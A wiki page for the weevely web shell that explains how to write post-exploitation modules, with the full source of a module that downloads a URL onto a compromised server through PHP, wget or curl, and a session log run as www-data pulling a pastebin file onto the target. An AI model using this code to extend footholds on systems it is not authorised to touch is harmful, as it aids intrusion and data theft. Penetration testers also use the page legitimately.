Skip to content

Developing a new module

epinna edited this page Sep 20, 2014 · 1 revision

This chapter covers the concept behind modules, their structure and working examples on how to develop modules.

Modules

Modules contain portions of PHP payloads, called vectors, that are dynamically sent and executed to the target machine and extend the weevely core for a variety of post exploitation tasks.

Modules can call other modules, like you do in the weevely terminal. The modules cohesion provides a layer to interact with the target operating system, in order to administrate a web account, audit the target security, pivot deeper in the target network, and much more.

You can easily develop your own module to implement internal audit, login enumerator, sensitive data scraper, network scanner, make the modules work as a HTTP or SQL client and do a whole lot of other cool stuff.

Module example

Let's read the module module/file/webdownload.py with comments about the module structure.

The module name is composed the category and the name module separated by an underscore, in this case file_webdownload.

This has to be stored under the category folder as module/file/ in a python script named as the module as module/file/webdownload.py.

from core.vectors import PhpCode, ShellCmd
from core.module import Module

###########################################################################
# The class name is the capitalized module name `Webdownload`.
class Webdownload(Module):

  #####################################################
  # The one line description of the module is saved
  # as python docstring.

  """Download URL to the filesystem"""

  #########################################################
  # Declare the aliases list. This command is invoked
  # to replace the `wget` application in case the system
  # command execution is not permitted.

  aliases = [ 'wget' ]

  def init(self):

    #######################################################
    # Store a dictionary with the module basic information
    # using `register_info`. Arbitrary fields can be added.

    self.register_info(
      {
      'author': [
         'Emilio Pinna'
      ],
         'license': 'GPLv3'
      }
    )

    ############################################################
    # Populate `self.vector` calling `register_vectors` with the
    # vectors objects. These are the pieces of code that are
    # formatted, transmitted, and execute when the `run` method 
    # is called.
    #
    # Multiple Vector types are supported:
    #
    # PhpCode: PHP code
    # ShellCmd: Shell command
    # ModuleExec: Execute another module against the target
    # PhpFile: PHP code from an external file
    #
    # The variables in the payload strings (e.g. `${rpath}` and `${url}`)
    # are replaced at run-time with the passed arguments, according
    # to the `Mako` formatting.

    self.register_vectors(
      [
        ##################
        # Register the `file_put_contents` PHP vector

        PhpCode(
          payload = """@file_put_contents("${rpath}",file_get_contents("${url}"));""",
          name = "file_put_contents"
        ),

        ##################
        # Register the shell vector to execute the wget binary

        ShellCmd(
          payload = """wget ${url} -O ${rpath}""",
          name = "wget"
        ),

        ##################
        # And a shell vector for curl in case wget is not installed

        ShellCmd(
          payload = """curl -o ${rpath} ${url}""",
          name = "curl"
        )
      ]
    )

    ########################################
    # Register the accepted argparse arguments calling
    # `register_arguments`. The arguments passed at runtime  
    # are parsed with argparse and saved in `self.args`.
    #
    # The usage we want to describe is the following:
    # :file_webdownload [-vector vector] <url> <rpath>
    #
    # The syntax is the same of the `argparse` library but
    # declared as dictionary.
    

    self.register_arguments(
      [
        {
          'name' : 'url',
          'help' : 'URL to download'
        },
        {
          'name' : 'rpath',
          'help' : 'Remote file path'
        },
        {
          'name' : '-vector',
          'choices' : self.vectors.get_names(),
          'default' : "file_put_contents"
        },
      ]
    )

    def run(self):

      #############################################
      # The `run` method is called when the module
      # is invoked.

      # The `self.vectors` object exposes the functions
      # to get the result of the execution of the given vectors
      # on the target.
      #
      # `get_result`: Execute one vector
      # `get_results`: Execute a list of vectors
      # `find_first_result`: Execute the vectors list until a
      # condition is verified. Returns the first positive result.

      return self.vectors.get_result(

            # Execute the `vector` passed by argument in `self.args`
            name = self.args.get('vector'),

            # Format the selected vector with passed arguments
            format_args = self.args

     )

Module running

You can see the module in action in this weevely terminal session log:

www-data@target:/tmp $ :file_webdownload
usage: file_webdownload [-h] [-vector {file_put_contents,wget,curl}] url rpath
file_webdownload: error: too few arguments
www-data@target:/tmp $ :help file_webdownload
usage: file_webdownload [-h] [-vector {file_put_contents,wget,curl}] url rpath

Download URL to the filesystem

positional arguments:
  url                   URL to download remotely
  rpath                 Remote file path

optional arguments:
  -h, --help            show this help message and exit
  -vector {file_put_contents,wget,curl}
www-data@target:/tmp $ :file_webdownload http://pastebin.com/raw.php?i=7dhusKeS downloaded
www-data@target:/tmp $ ls -al downloaded
-rw-r--r-- 1 www-data www-data 7 Sep 26 17:16 downloaded
www-data@target:/tmp $ rm downloaded
www-data@target:/tmp $ :file_webdownload -vector curl http://pastebin.com/raw.php?i=7dhusKeS downloaded
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100     7    0     7    0     0     26      0 --:--:-- --:--:-- --:--:--    26
www-data@target:/tmp $ ls -al downloaded
-rw-r--r-- 1 www-data www-data 7 Sep 26 17:16 downloaded